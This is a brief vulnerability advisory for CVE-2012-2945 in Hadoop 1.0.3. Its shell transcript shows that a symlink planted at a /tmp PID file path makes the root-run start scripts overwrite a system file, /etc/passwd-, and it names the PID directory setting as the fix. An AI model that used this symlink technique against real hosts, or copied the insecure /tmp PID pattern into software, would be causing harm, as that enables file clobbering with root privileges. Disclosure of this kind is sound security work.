Hadoop 1.0.3 Symlink

`Software : hadoop-1.0.3  
Vulnerability : Symlink  
Problem type : local  
CVE ID : CVE-2012-2945  
Date : May 28, 2012  
Affected : min May 08, 2012  
  
  
  
  
Symptom:  
  
$ echo $JAVA_HOME  
/usr/lib/jvm/java-7-openjdk  
$ file /tmp/hadoop-root-tasktracker.pid  
/tmp/hadoop-root-tasktracker.pid: symbolic link to `/etc/passwd-'  
$ sh bin/start-all.sh  
starting namenode, logging to  
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-namenode-t0.out  
root@localhost's password:  
localhost: starting datanode, logging to  
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-datanode-t0.out  
root@localhost's password:  
localhost: starting secondarynamenode, logging to  
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-secondarynamenode-t0.out  
starting jobtracker, logging to  
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-jobtracker-t0.out  
root@localhost's password:  
localhost: starting tasktracker, logging to  
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-tasktracker-t0.out  
$ tail -1 /etc/passwd-  
10544  
  
Problem:  
  
$ grep tmp src/hadoop-1.0.3/conf/hadoop-env.sh  
# The directory where pid files are stored. /tmp by default.  
  
as pointed out by CVE Team:  
"Incidentally, it seems that in Hadoop 1.x, only the  
HADOOP_PID_DIR setting is affected, but in Hadoop 2.x, both the  
HADOOP_PID_DIR and HADOOP_SECURE_DN_PID_DIR settings might be  
affected:  
  
http://svn.apache.org/repos/asf/hadoop/common/branches/branch-2/hadoop-common-project/hadoop-common/src/main/conf/hadoop-env.sh  
  
# The directory where pid files are stored. /tmp by default.  
export HADOOP_PID_DIR=${HADOOP_PID_DIR}  
export HADOOP_SECURE_DN_PID_DIR=${HADOOP_PID_DIR}  
"  
  
  
Solution:  
  
Hadoop Cloud Specialists (lol) should edit conf/hadoop-env and change  
the pid file directory to something sane.  
  
Impact:  
  
Low  
  
Timeline:  
  
May 25 - got drunk  
May 26 - got drunk  
May 27 - MARK -  
May 28 - playing around with hadoop  
- notified security@  
- got reply, clarified things  
Jul 01 - get rid of this ;)  
  
  
Greetings:  
  
To CVE Team!  
To srm, Dude!  
To the usual suspects  
To those, who trust me.  
To all who stay real.  
  
Simon  
.  
  
  
`